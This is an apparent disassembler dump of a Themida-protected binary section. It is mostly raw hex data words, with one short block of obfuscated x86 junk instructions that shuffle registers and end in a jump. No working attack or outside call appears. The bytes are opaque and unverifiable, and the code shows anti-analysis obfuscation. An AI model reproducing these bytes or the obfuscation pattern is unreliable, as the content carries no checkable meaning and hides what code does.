0D44AFFFFh, 43BFE176h dd 0F2A397B1h, 0DFA3B296h, 0E91F3959h, 0FF8D8D91h, 0E9061864h dd 9, 9805FCE0h, 2703DCCAh, 0F58D899Eh, 6A061009h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8A22C356h, 1985C7FCh, 0E0061023h, 6A00005Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0F8EBC352h, 11E8EAA7h, 0B2000000h, 0B491BAA1h, 4C2E9CE0h dd 6A42139Fh, 8EADAB33h, 167D9D89h, 0C75E0610h, 1022C185h dd 6, 3EF8000h, 30C5B5FFh, 1BB70610h, 2DB995FFh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0F37237C3h, 705CDB7Eh, 8BBF401Bh, 100E9D9Dh, 0C5958906h dd 6A06101Eh, 0C995FF00h db 31h, 10h word_5D196A dw 8B06h ; DATA XREF: Themida_:0054BE60o dd 6B3CEBC0h, 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 5396B57Eh dd 0F3A82E80h, 799249ACh, 60C4E2FBh, 0CCE004FDh, 0C53ADBh dd 2A90B951h, 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 89B069FEh dd 0EB54C257h, 39AE900h, 3BEB0000h, 0FB544F8h, 30D564D8h dd 0FB443F7h, 2DDF56D2h, 304C3AEEh, 5BCF0EC2h, 74E829DCh dd 520641E5h, 73E71CC3h, 3D858478h, 0D96BD419h, 7A3250DCh dd 0CBB58743h, 0CC7C62E0h, 0D1A6826Dh, 0D88F630Ah, 8C0BBFA3h dd 971E9AD7h, 7302B6F5h, 9F1692D1h, 0ADD3ADEEh, 493D782Eh dd 7C843EEDh, 4606DCCh, 42E86FE7h, 1BC45307h, 3FEA14E6h dd 6DCC7C83h, 0A81A1163h, 4C6DCC7Ch, 5FD7F4D0h, 0F7EFB5A8h dd 1A2AB067h, 14043371h, 13104D53h, 9F44432Fh, 8FBCAE62h dd 7EA3C75h, 46EA61A6h, 453BF207h, 0E195D076h, 0EA0647EAh dd 64A1460Dh, 5F7C9BE8h, 1899608Dh, 495F12BEh, 3522C246h dd 863DB384h, 80587551h, 14D96089h, 564A269Eh, 14B8B70Fh dd 861D569Eh, 92718A63h, 0D76A3Fh, 57940000h, 9691F5CAh dd 2FF5D25Ch, 533F7E32h, 1F0AF4C8h, 6DCC7CA3h, 0EE12E743h dd 0CC7C933Bh, 3EF6B6Dh, 32A6DB84h, 0DBC7FCA3h, 0F20CCFE6h dd 0FC1B5A37h, 34E03C67h, 0CCB8EF95h, 0A34616CDh, 0B5927E62h dd 17C10FA6h, 8A03419h, 0D5C57BBh, 6DB44BF0h, 78CD81B6h dd 3D858461h, 0D99423CBh, 977FBC54h, 5E16183h, 8F1C0FE1h dd 179E13B6h, 0BC70671Bh, 5CDFC17Dh, 0C48F6CA5h, 0DE0FE120h dd 2EE5876Eh, 69153286h, 805A819Ch, 0FDDA15B9h, 0B3E230DBh dd 0C6A29E13h, 0B526AD12h, 0C6D3F09Bh, 4A119423h, 919166A7h dd 46EAE195h, 20C45307h, 3DC035E1h, 580DCC9Eh, 73364A1Fh dd 8003BD83h, 0CC4BFF5Bh, 7B65D918h, 0A357B452h, 8F6193FBh dd 392269Ch, 8562BE80h, 1EBD5CBFh, 0C245D4Ch, 0CBC267FCh dd 0E02DE15h, 4C00D077h, 391D190Dh, 878DD985h, 19E94246h dd 866309F9h, 3CF7E4F7h, 23F1338Bh, 265B0494h, 5B11C8B2h dd 0D7F47024h, 826EA35Ch, 55275C03h, 0C3A8DD86h, 549328C4h dd 2FEF0C98h, 8BAA495Ah, 702B9FD4h, 397B3C9Dh, 1C7Dh, 0BD5CCF00h dd 345D4C1Eh, 0D267FC1Bh, 742BAA56h, 0D0C4FDA4h, 4BBC7054h dd 30h, 407D32C1h, 504DA54h, 6DCC7CBDh, 7CCE7437h, 4A266DCCh dd 3A01D652h, 5C825C91h, 0CC7C15ADh, 32DAF16Dh, 0C4F2D7FBh dd 702793BFh, 1096203Dh, 2E407D32h, 8FBCF7ABh, 0D1DE1A79h dd 0B693A2h, 0D678330Dh, 2E6DCCA9h, 0A0473E32h, 2EE217D0h dd 0A9F54D3Ch, 15116DCCh, 77611531h, 46FC25BCh, 2DDCE00Bh dd 6DCCA989h, 58532D53h, 6DCCA9EAh, 0DB670E0Ah, 3B6DCCA9h dd 45D5BD6h, 5571FEEBh, 23E33068h, 0E2F72D71h, 7F2A4420h dd 6DCC21C3h, 4934723h, 0C8B2265Bh, 457E23B6h, 9C26D551h dd 786DCC21h, 0A53CDFFCh, 108Ah, 8023B600h, 329E2643h dd 39504479h, 87E15D92h, 3D8032B5h, 64995249h, 3A7519B0h dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h dd 417830A7h, 8953CF55h, 4C381E3h, 83000000h, 1C8704EBh dd 24248B24h, 186068h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edi push 57A3DDCh pop edi shr edi, 8 or edi, 23B261E0h dec edi push ecx mov ecx, 25AF1EBBh xor edi, ecx pop ecx mov eax, edi pop edi push 3AC2h mov [esp], esp add dword ptr [esp], 4 pop esi push ebx push edi mov edi, eax mov ebx, edi pop edi mov [esi+8], ebx pop ebx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh, 186857B8h, 0FFC50306h dd 0A3FDC9E0h, 3492662Bh, 0D3E14A2Ah, 0D0DB0C77h, 0CA8D506Eh dd 43361F74h, 7590A67Dh, 0EDB4DF26h, 83146237h, 0B2EEF111h dd 6605695Bh, 5045917Ah, 63450943h, 62A0141Ch, 622FDA67h dd 291D9A6Bh, 78E494Eh, 0BC740040h, 390C3525h, 0C60EB63Bh dd 0D754CF2Eh, 370E4805h, 54A6B705h, 126A941Eh, 107F0A6Eh dd 0D25D4A30h, 2CF1868h, 0BF961713h, 0C5DC8079h, 58C28B52h dd 13E9h, 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch dd 0FD5BD465h, 11E9EC8Ah, 6000000h, 833F7FDCh, 6269B089h dd 0DC13018Bh, 0B0E566FAh, 10E8h, 0B8EA6000h, 0BF795E35h dd 223AE6EBh, 0ABF33557h, 0CFBF0FEDh, 32E1815Ah, 0F22D0BBh dd 0A87h, 5E900h, 26D90000h, 0B6339C73h, 0CE96Bh, 271F0000h dd 0B9A2BFFAh, 8B482383h, 0BE901B7h, 0E4000000h, 96AF9FB8h dd 2E61D955h, 0BA6676BFh, 60609EC2h, 81666160h, 610599CEh dd 61DEB70Fh, 0E15B866h, 11E9h, 45E1FC00h, 5B63BF3h, 0A06C15FAh dd 2DABB33Ch, 9E8025Ch, 0C0000000h, 0D735A350h, 59C5CDACh dd 58B0Fh, 81660000h, 5EB374EAh, 0EEB3C181h, 5CB9064Dh dd 0E9736CE5h, 5, 988E779Ah, 0C8BF0F0Dh, 10E9CC8Ah, 53000000h dd 0C7A964E7h, 0C1B62F16h, 6B88DBCAh, 66BB167Bh, 0FF9FB8Bh dd 0BF0FDFB7h, 0E9FC8AD0h, 12h, 6D64EBF5h, 725AA548h, 7769AF18h dd 8BC15997h, 13E96E9Eh, 35000000h, 63C5AF24h, 71D07543h dd 52EA32BDh, 57610035h, 8166766Ah, 0BE1AFADAh, 0C9A0E11h dd 5840Fh, 81660000h, 0F3713E2h, 385h, 0C6B70F00h, 0BE50FA8Ah dd 786C5592h, 8166F95Eh, 601801F1h, 61CF8B66h, 6E8h, 0E23BFF00h dd 0F55A4984h, 0F9BF0F5Bh, 81F3B70Fh, 559C5CFh, 6F4EB978h dd 8B522AD1h, 9E95FDEh, 96000000h, 67C918BCh, 4D8CEB9Dh dd 0BE9h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah, 27DA5CBAh dd 0F6B70F08h, 0EF818AB1h, 42FACFF1h, 0A6C18166h, 6686B6C3h dd 0F8E63CBFh, 1810Fh, 0E8F90000h, 0Ch, 60FDE4F1h, 0A888A2BCh dd 66115E5Dh, 8E9h, 0E8058C00h, 0BDEC4E88h, 0C480591Fh dd 6800F58h, 81000000h, 0F84632E3h, 38A0F1Eh, 0F000000h dd 80B6F3B7h, 0A850Fh, 5E90000h, 9D000000h, 0F9F152AEh dd 0A6BA66FCh, 0AAB6BBBEh, 0BF0F5B0Bh, 11E8D0h, 8A9C0000h dd 0DD22B8B1h, 0F4511591h, 184982DBh, 664273CCh, 0B65FC88Bh dd 0C5C081C2h, 8148C1BFh, 0E998DFDFh, 10E839h, 0C2D70000h dd 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 11BE993Fh, 58160CFCh dd 8FC98166h, 0CA816616h, 0D2815ADBh, 30E17E0Dh, 0E9F0B70Fh dd 11h, 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0F685232Eh dd 0D6816686h, 11E9B034h, 0C2000000h, 5F37D00Bh, 2AE769FFh dd 6952360Fh, 3CD67CFCh, 2870Fh, 0C38B0000h, 0CE9h, 0C4D28500h dd 0B2F2A750h, 45BD8207h, 19870F87h, 0E8000000h, 13h, 0F888D2C1h dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 5B0727E2h, 18C0Fh dd 81F90000h, 0D964F6E8h, 28810F22h, 0E8000000h, 12h, 0B9794085h dd 4CFA0228h, 2F31EA0Bh, 0F39DBFDBh, 0BE909F3h, 37000000h dd 0F890F7E5h, 2DE7B292h, 0E85E37A0h, 0Ch, 5DABC372h, 4538CC6Fh dd 77062954h, 0BE616060h, 4D817978h, 0BF0F5861h, 61C381D7h dd 800D8374h, 0F4808EE3h, 9E95Ch, 342F0000h, 785ED287h dd 80E1286Eh, 81609FC4h, 0D78E87C3h, 7E96103h, 88000000h dd 0DE740FD8h, 0BB66C9B8h, 840F89A3h, 2, 0F78BE88Ah, 2810Fh dd 0DA8B0000h, 0FC3B70Fh, 8166FBBFh, 0F06D5EEh, 820FD7B7h dd 4, 0C652BA66h, 9C6ABBF9h, 10E86195h, 3C000000h, 0A456A54Ch dd 0A9147601h, 860FFA17h, 815455B3h, 4D0B13E1h, 0B70F5B64h dd 1A1CBAC8h, 0DA8A0248h, 66C7BF0Fh, 0E830D181h, 12E9h dd 3036BD00h, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh, 0E91A22CFh dd 12h, 9240181Dh, 516132EAh, 99616A28h, 58C6FA3Ch, 0C1B812BAh dd 0F39770Ah, 981h, 3820F00h, 80000000h, 0ADBB0AE6h, 0F853A8C9h dd 5E9DE8Bh, 0F5000000h, 0DE750940h, 58C0Fh, 81660000h dd 52149FDFh, 0AE9h, 0AB425A00h, 148DA412h, 5EFBEDBEh dd 0D1B70FF5h, 97B25160h, 60E8815Fh, 616CC5CFh, 0BF0FE38Ah dd 0BAD281DFh, 8A7AC26Ch, 0C78BFCDDh, 0ABADEBAh, 0D18B6641h dd 0F95641B9h, 0F0D68133h, 664E5975h, 7D0CC081h, 0C8C0Fh dd 7E90000h, 18000000h, 8A00B82Fh, 0E18A4B3Dh, 6E9D08Bh dd 43000000h, 0EA6C57E3h, 38A0F0Ch, 66000000h, 0DC80CB8Bh dd 0EE8E8h, 0AB6D0000h, 92720457h, 309C82F4h, 5E02E430h dd 5AF38A50h, 0FE8B6658h, 0DE85857h, 0FE000000h, 0AF7E5FF0h dd 5BFF01BFh, 743141FEh, 85CE8166h, 0F515E1Ah, 0D89h, 8E900h dd 0C8C90000h, 0A4BFEC30h, 0B15A5398h, 5BB866FFh, 0B3D6B3F6h dd 0CE993h, 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0E8521B3Eh dd 7, 6846DB38h, 0F82200E0h, 80605A5Ah, 0AE864E3h, 6C000000h dd 9078E030h, 0EB2AEBD3h, 8A0F63h, 58000000h, 0D88B6661h dd 0DF81DA8Bh, 7AC991FCh, 669EDB80h, 0F1198BEh, 8Dh, 14E900h dd 0D3680000h, 9AAC8EA3h, 0FF270AABh, 29B21461h, 8BEFFB64h dd 0D28072DCh, 40BB662Eh, 0F960529Eh, 8CEB8166h, 8B5E610Dh dd 816660CBh, 0E8B4FAEFh, 0Bh, 0E5131816h, 2C74959Bh, 0BB668B89h dd 2293B7B5h, 0FC57615Bh, 0C681665Eh, 0BE6625CCh, 0BA663461h dd 11E9D80Eh, 0EE000000h, 56FCBB8Ah, 7B9223EDh, 82423B1Fh dd 1EE9C2EAh, 0B86601B6h, 0F6811D0Eh, 35CE12D8h, 0F95EEBBEh dd 1A810F51h, 0E8000000h, 14h, 6AB0B461h, 787B4519h, 90EBA165h dd 43CAD94Ch, 43B37452h, 0FBBF0F5Bh, 30B9C38Bh, 66203B3Fh dd 148CC281h, 7098BA66h, 15880F60h, 0E9000000h, 10h, 0E233137Eh dd 0DD76680Ch, 886F599Dh, 0BF9E6ACFh, 61C88B66h, 65C18166h dd 0EB816639h, 0F98A9437h, 0F4CD980h, 178Eh, 0EE800h, 0A3830000h dd 0A30C0B7Eh, 1D2F6391h, 38634CD2h, 5FD08B66h, 14E8F9h dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h dd 870F4863h, 2, 0BF5FF98Bh, 5A00F2Dh, 0DF8BCB8Bh, 0FFBBDF8Bh dd 0F432303h, 184h, 0BF60F800h, 1EC81232h, 8B0F61F5h, 1 dd 58BE66FCh, 0C2BF0FB5h, 0DE8h, 9DCABB00h, 0DBA38E90h dd 3250583h, 8B0FC2BEh, 2, 0E95FF38Ah, 13h, 7B9358E5h dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 0E82AAFC3h, 0Ah, 77CDF67Ah dd 4A6B691Bh, 0E960019Fh, 12h, 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh dd 6CA522B0h, 61F9D410h, 0DB816659h, 65BAD87Fh, 0F367C93h dd 8A0FCBBFh, 14h, 0FE9h, 0D05E3A00h, 22550960h, 76789658h dd 1FBCEBADh, 8E9F38Bh, 5D000000h, 0A374C237h, 0F5A47139h dd 51F7B70Fh, 250BF66h, 28C0F59h, 8A000000h, 0F890FECh dd 0E8000000h, 7, 272884E3h, 50EC796Dh, 11E85F59h, 2B000000h dd 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 0AC09EA81h dd 0F9583FD8h, 0F0C68166h, 0E8816677h dd 0FE978E9h, 99000000h, 0F5654427h, 0C55772B3h, 921B59Bh dd 0BB66BC04h, 0D9BA8844h, 66537C25h, 5D5E081h, 816660F5h dd 66D58CC9h, 8A61F38Bh, 0AE8CFh, 5BFE0000h, 85A06BEFh dd 187CBE95h, 13E9h, 4A47EB00h, 572685D3h, 0FAD10159h dd 680B3A39h, 0F6DB58Fh, 7E85Fh, 0BA970000h, 0F5BB4937h dd 0F88B66A9h, 8E0F59h, 52000000h, 0C6B70F5Ah, 0D44FB866h dd 58E0Fh, 48B80000h, 8A21E6F5h, 4037B9C1h, 816666ECh dd 8AD334D6h, 0D38B66DAh, 0CAB70FF9h, 2FDD8056h, 54D9805Eh dd 19A4D181h, 81560866h, 101331D9h, 0F9F85977h, 7E950h dd 278A0000h, 6328507Fh, 8A0F5A34h, 1, 0AAB4BFF9h, 8E8567Ah dd 71000000h, 9ECBB28Eh, 0BA1B9E2Eh, 0AC6478Fh, 8166F55Bh dd 0B459CEEAh, 0FE8FCDFh, 53000000h, 675D33C4h, 0B8BC3651h dd 3EB02807h, 0DE8B4002h, 138C0F58h, 0E9000000h, 0Eh, 0CAF81865h dd 24254CBCh, 81EA7B9Fh, 0BF0F028Eh, 14E9C2h, 0E4700000h dd 0A2D8C542h, 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 81608422h dd 0C842B2E3h, 5E951h, 8A680000h, 6101BC15h, 85C9AEB8h dd 11E94Dh, 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah dd 8063C9ACh, 80601AD4h, 880F62F3h, 6, 8D0Fh, 0F9610000h dd 1CBBB6BEh, 0E9FA8B74h, 10h, 0EC4617C5h, 2B736375h, 8391435Fh dd 6A9457BBh, 0BE97AB0h, 35000000h, 0FF99221Ch, 303233E3h dd 0CA8BF576h, 0CC87C881h, 0F38B1363h, 9BBA66FCh, 138C0F73h dd 0E8000000h, 0Ah, 666312D8h, 1101993Ch, 0BF0F4C27h, 8B6658DBh dd 0F08166DAh, 0D381069Eh, 38394158h, 8CBB5F56h, 607486B0h dd 10E8F5h, 0CE220000h, 0AD5CE6B5h, 0F28B4569h, 99EF79AEh dd 6159C102h, 19830Fh, 14E90000h, 4B000000h, 573C24A4h dd 0E2C6B49Fh, 62F50AA1h, 0E488CEDFh, 0F97041Ah, 8166C6BFh dd 0F3767C8h, 0E960D0BFh, 0Fh, 55122297h, 2655157Dh, 162C4B27h dd 0BBA75B36h, 4B5A6888h, 8D0F6061h, 2, 9E9F1B7h, 5B000000h dd 9890ACDh, 3E3A4A3Ch, 8B665761h, 0F5659DEh, 805AC2B7h dd 0D88B07D7h, 0F78ACF8Ah, 10E9h, 0A90E9400h, 0CF541359h dd 0FF7C7386h, 0F78CB5ACh, 0EFE08131h, 51279E94h, 5AA9CE80h dd 0C30DF281h, 6E934D2h, 63000000h, 4CD21D2Fh, 8B66F963h dd 5E9C2h, 561F0000h, 6096EADEh, 5800Fh, 81660000h, 0F12E9D2h dd 0A8Bh, 5E900h, 932D0000h, 618C49FEh, 6650CE8Ah, 6059D68Bh dd 7E8h, 9F068100h, 62E5482Dh, 8C0F615Eh, 2, 880FF88Bh dd 6, 1783C781h, 0BF0F4F3Bh, 18810FDAh, 60000000h, 0FE95A57h dd 4000000h, 427A99F7h, 0DEC4500Bh, 2F158FC8h, 8061B9FFh dd 0E881D4D1h, 3D2AD142h, 5870Fh, 81660000h, 0F805A9D1h dd 0CFBF0F52h, 13E958h, 59950000h, 0EFD354F7h, 75830B53h dd 91052710h, 0B414336Dh, 8E8A5h, 7D780000h, 9F53C31Ah dd 0E1811090h, 13CC60F5h, 0E8F78B59h, 0Fh, 7CB41D8h, 0A79EE285h dd 0F07E8660h, 0F7E4CDFh, 1389h, 0EE900h, 35A70000h, 0E389D4C3h dd 557D15D5h, 550CC57Eh, 148F0F58h, 0E9000000h, 0Fh, 800C9A2Fh dd 0C97D21E1h, 460C40D2h, 0E9B604DBh, 8, 0CE03758Ch, 27B90E24h dd 0E85CDB80h, 12h, 0A954C516h, 5908E257h, 0C7667C2Ch dd 0D9953ECDh, 850FC521h, 6, 880Fh, 0F85A0000h, 13E8h dd 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h dd 59C2B70Fh, 6659D580h, 664EE1BEh, 0BF0FCB8Bh, 0FB8B66DFh dd 0C7816660h, 61F5454Bh, 8C0FFA8Bh, 0 dd 10E9h, 0E6AC7A00h, 5B0330E5h, 76D22F72h, 37DB27h, 228D0FD3h dd 0E8000000h, 0Fh, 400BD282h, 7ED432CFh, 3D62F336h, 0E8C526D3h dd 7, 2262F659h, 5F979B6Fh, 0B850F5Bh, 0F000000h, 582h dd 0F1816600h, 665140D6h, 590F16B9h, 8E8h, 60984B00h, 8BBA0341h dd 0DB8166B9h, 0E95AB50Ch, 6, 53F022BDh, 0D0818D3Ah, 4B292FCh dd 0BF0FECB7h, 0EA8166F8h, 7E91629h, 5A000000h, 68E93469h dd 0F58AF84Dh, 299CB866h, 14E9h, 47D85000h, 0DFBF8D11h dd 37ACE145h, 8973291Bh, 9FB02FC0h, 10E95317h, 0DF000000h dd 52C7F511h, 0B86D94D0h, 0BC58686Eh, 5EA2977Ah, 1CF8166h dd 0DE942h, 5B8E0000h, 510FDB1Fh, 0CA04EF2Eh, 0FDA3F80h dd 138Ah, 5F566000h, 9E8h, 0F211F200h, 0C835AA8Ch, 6158FD2Ch dd 0B8D98151h, 5F0C49C5h, 12880Fh, 0DE90000h, 28000000h dd 5467DABBh, 4E331F03h, 0F45940A5h, 0AAF08166h, 660FB375h dd 8060C28Bh, 0FC605CF7h, 0EE8h, 1E4BE900h, 8E93BD98h dd 30F667DCh, 5A43CD8Ah, 21BF6161h, 0E91720BBh, 0Dh, 74682A16h dd 5BC362B1h, 9F890832h, 0CE8B66B6h, 51FCD78Bh, 0B880Fh dd 6E90000h, 0AA000000h, 7CB41D8h, 0F78B5885h, 6E9h, 9E411500h dd 60929CC4h, 5E8E2B0h, 5B000000h, 8499279h, 5AC3BF0Fh dd 0ABC58061h, 800F82B1h, 3, 0FD3BF0Fh, 8B66F9B7h, 0B70FF9DAh dd 0F0F381FAh, 0E94CE865h, 5, 83AAEABAh, 0F8F5BECAh, 0B70F3457h dd 28F0FC8h, 8A000000h, 0CE9E1h, 64D80000h, 40FD0478h dd 4B5F6341h, 0BBF9A604h, 5D2B0B49h, 820F5B50h, 6, 13D8F781h dd 0BE95479h, 51000000h, 48189567h, 0BCA309E6h, 0EE8F717h dd 18000000h, 8A4273CCh, 0E6BC8467h, 0AB6F6F5h, 14E844h dd 6BD90000h, 847BE11Ah, 727A2980h, 0B9329278h, 0E2CE9973h dd 8166A659h, 59A5E8CFh, 5E95Bh, 72A70000h, 0F62D283h dd 0F781F1BFh, 43E88D95h, 0BE8h, 9F4E8D00h, 9B7CAFE5h dd 0DAC0EE22h, 0CE959h, 38B80000h, 77747621h, 762138B8h dd 7E97774h, 82000000h, 79D8721Ah, 7E84E61h, 4000000h dd 0B761E00Fh, 0EBB83F87h, 5F0A1AA6h, 810FF38Bh, 2, 0AE9E1B0h dd 0C2000000h, 241F9ECAh, 0A48A4109h, 0F58A6085h, 0FF861FCh dd 0AE9C7B7h, 8C000000h, 6EF63DD7h, 3C3CDB9Eh, 0DF81668Fh dd 8157C48Ch, 0DDDA25D9h, 6B55F21h, 0A1F68166h, 0CF8166A4h dd 0F609306h, 12E9C6BFh, 2D000000h, 9B1523FEh, 0E2D1D925h dd 0FDEABFF2h, 36A5EC56h, 0FF861A8h, 1F8Ch, 870F6000h dd 0 dd 11E8h, 0AADAF00h, 3361C469h, 0F4C4B6E8h, 92EEE48Ch dd 615BCF18h, 7280B6BBh, 15880F40h, 0E8000000h, 9, 3653EC24h dd 0A60C207Eh, 830FFEh, 5A000000h, 3E0579BAh, 1CEF816Ah dd 6069A8E0h, 0B8DF8B66h, 1AC8387Dh, 0CA8BF561h, 8A8CC181h dd 0E8F9613Ch, 0Dh, 9E64C65Eh, 0D9EA0371h, 0DE43F608h dd 51B8668Dh, 850F5BBEh, 8, 0CCF28153h, 5A20FC7Eh, 1354B966h dd 6A28BF66h, 0F368B966h, 8E986B1h, 0DD000000h, 0E6E444C8h dd 8B02C26Dh, 0EDBA66F7h, 982BB869h, 8E93926h, 0E5000000h dd 0DE88D87Bh, 66ECE0E4h, 66C61EBBh, 0F4418BBh, 0A8Bh dd 5E900h, 28830000h, 0F9917B3Ch, 3880Fh, 0E7800000h, 0DE85322h dd 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h, 0BF0F585Ah dd 0B2D78BF1h, 0F5CE8BDBh, 66D9BF0Fh, 0C380D08Bh, 0B866F5D7h dd 8E0F3EF1h, 7, 1870Fh, 66FC0000h, 0BE189ABBh, 6D130BBh dd 0CE9h, 19B88E00h, 85671DBh, 0D882984Dh, 0DE816629h dd 0BF0F3023h, 0A8B257FEh, 0B1CE8B59h, 0E3B852C7h, 5F739CA4h dd 0E6D6DA81h, 0F2817F1Fh, 5DC4DBF0h, 78A0Fh, 830F0000h dd 1, 1860FF8h, 0F5000000h, 0B9D482BAh, 4810F07h, 52000000h dd 0E85F6160h, 0Fh, 3E671454h, 0E39B2B8Fh, 90DB726Fh, 0E9A5BE9Ch dd 0Ah, 3B94B6B8h, 884DF861h, 665883BDh, 0BF66D68Bh, 66500A0Eh dd 5B908FB9h, 0E880Fh, 9E90000h, 53000000h, 283C87EEh dd 8056B9AFh, 0F6019B2h, 12E9C3B7h, 0FB000000h, 8D140AE6h dd 25F004h, 0B9053FF1h, 49135C2Ch, 0DE8614Fh, 9E000000h dd 0A3408FCDh, 0F33E03A5h, 0CBB6E9EAh, 665F90B7h, 0D56BF381h dd 6E8h, 0B9CDF800h, 0E868F324h, 8, 0ED239685h, 333C200Eh dd 5A5F6160h, 0E966D080h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h dd 44BE635Fh, 662C322Dh, 0D196E381h, 9E68166h, 0FE844h dd 0D9980000h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 28B0FA5h dd 8A000000h, 6E85AEEh, 0EB000000h, 41A00700h, 23CB8043h dd 80DE8B5Ah, 0F0B2C5F1h, 8E9h, 64136900h, 4A583615h, 11E8CEh dd 33AE0000h, 99B16D2Fh, 744976ECh, 0A4D634A0h, 0F0C8081h dd 583h, 0D3816600h, 815B4BB4h, 1763F2E1h, 13E862h, 6390000h dd 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h, 0F28B6679h dd 0E9576058h, 0Eh, 2E687471h, 0D4596000h, 0EFF2B25Fh dd 61588218h, 28F0Fh, 5FB00000h, 0F5CFB70Fh, 0E9D9B70Fh dd 6, 39B2841Dh, 8B0F56C2h, 5, 2051D2BEh, 0CE909h, 5ECD0000h dd 2E71141h, 0BC0A9E0Fh, 8E8020Ch, 0BF000000h, 0A12949D5h dd 8A670B07h, 5E958D5h, 0 dd 0E0664F32h, 71EE80F9h, 12E9h, 0FB343300h, 373BB1Fh dd 0A96A20ECh, 5DB4D9Dh, 60873A0Dh, 66DEB70Fh, 0A521C681h dd 2B86661h, 5840F83h, 0BF000000h, 397DBB8Bh, 5E9h, 186BE700h dd 0BA667C4Eh, 76B88F3Dh, 0B02CAD4Dh, 0AE80Ah, 0E8F20000h dd 5EC5C0BFh, 28DFAC49h, 11E9h, 879C0700h, 6D05FB0Ah, 0A358555Fh dd 63CD2A3Dh, 605E29CBh, 666112B1h, 0F5B31BFh, 486h, 0C68A5200h dd 33CB805Ah, 8BDEB70Fh, 66C4B1DAh, 0E92849BEh, 9, 57A32A73h dd 6AD6022Ch, 0E981668Fh, 8166CF02h, 604742E1h, 0E3816651h dd 6159AA63h, 12E9h, 0BFB08F00h, 7A0B3CD8h, 0C0D249ECh dd 120AACDEh, 0BF62C28Dh, 0EE28E3Eh, 18DF8166h, 0F38B6616h dd 668BC780h, 0B318D6BBh, 0F780F5D2h, 0FD68B8Fh, 0E9F8F7B7h dd 0Bh, 0FD67697Fh, 0E07409B1h, 669C075Ch, 0F38BF88Bh dd 6059FC56h, 59FB8B51h, 12E8h, 0B4BB8200h, 9EB5F692h dd 93245990h, 8A4C4B87h, 609856C1h, 0B0615E61h, 0DCBA66E3h dd 9E9F8h, 0BDAA0000h, 9C9A9FFDh, 66C4C1A8h, 890FC18Bh dd 0 aS_8 db 'µ·è',0Bh,0 db 2 dup(0), 17h dd 82C85B21h, 0C67AA528h, 805F6DD8h, 8B6680F0h, 10E8FBh dd 0B26A0000h, 0B8EF922Fh, 32967240h, 3DDAC975h, 8D0F5F1Bh dd 14h, 0FE9h, 15AD5000h, 6D446F45h, 43A3F628h, 0F9E0F735h dd 571EB65Eh, 6060F958h, 800Fh, 810F0000h, 0 dd 3880F61h, 80000000h, 0F6121C3h, 189h, 0B966F900h, 8A5385F6h dd 880F5FEFh, 6, 3161DA81h, 11E96CCBh, 68000000h, 20497A16h dd 863241E1h, 0D7C0A1B8h, 53C03D11h, 8E96060h, 7F000000h dd 0BCDB1E4Ch, 609582EFh, 810F6161h, 6, 870Fh, 0B9610000h dd 2812A2CBh, 0ACA6D281h, 11E878BCh, 52000000h, 7198E207h dd 191027F5h, 4A9158C3h, 862EF6FDh, 9CC68166h, 0FF85F19h dd 28Fh, 0F6BB400h, 380h, 0C9BF0F00h, 66F0B70Fh, 66BD6FBBh dd 66D42ABBh, 10E9F08Bh, 93000000h, 647E7BCh, 1B0F4575h dd 63FA0301h, 66D03E0Eh, 0B70FCA8Bh, 11E9F2h, 0B20A0000h dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h, 0E9546E8Ch, 0Ah, 4DDA7953h dd 0B3B56E2h, 0F98A088Bh, 0FCB8B66h, 483h, 8BBF6600h, 0D9BF0FC9h dd 0BE8h, 7C96F400h, 740082B0h, 787C9E69h, 5E91C580h, 6CD037B8h dd 0F94B26Ch, 0C68BCBBFh, 0E930C180h, 0Fh, 664E82FEh, 0F479A5F1h dd 0E7008B23h, 0E87E6C4Bh, 8, 1075830Bh, 6D910527h, 0A74184BEh dd 8B0F594Fh, 0Fh, 7E8h, 0A3692300h, 8F5385Ch, 60591EB2h dd 9E8h, 69CB2300h, 3714A43Bh, 8166DF73h, 5F7755D7h, 7E961h dd 0F94B0000h, 2D7EED53h, 66BB6671h, 128F0F66h, 0E9000000h dd 0Dh, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h, 60C38B70h, 1BBB8ABEh dd 0D781661Ah, 0BE610029h, 5CC52E3Bh, 5890Fh, 15BA0000h dd 0E970EDA5h, 0Bh, 3C74251Ch, 629BBC07h, 0F0F2415h, 800FF8B7h dd 19h, 14E9h, 97CBB100h, 95915D4Dh, 5E4C3F62h, 2F9D03F2h dd 5B8DF5B7h, 5870F94h, 66000000h, 8572DF81h, 0BE9h, 95A77900h dd 0CD5292D8h, 96123D9Bh, 28B0Fh, 0EC8A0000h, 8E9F98Bh dd 0C6000000h, 0F29BF47h, 66E2133Fh, 0EE9C18Bh, 75000000h dd 24650D3Eh, 0AE4850DFh, 882DDFD7h, 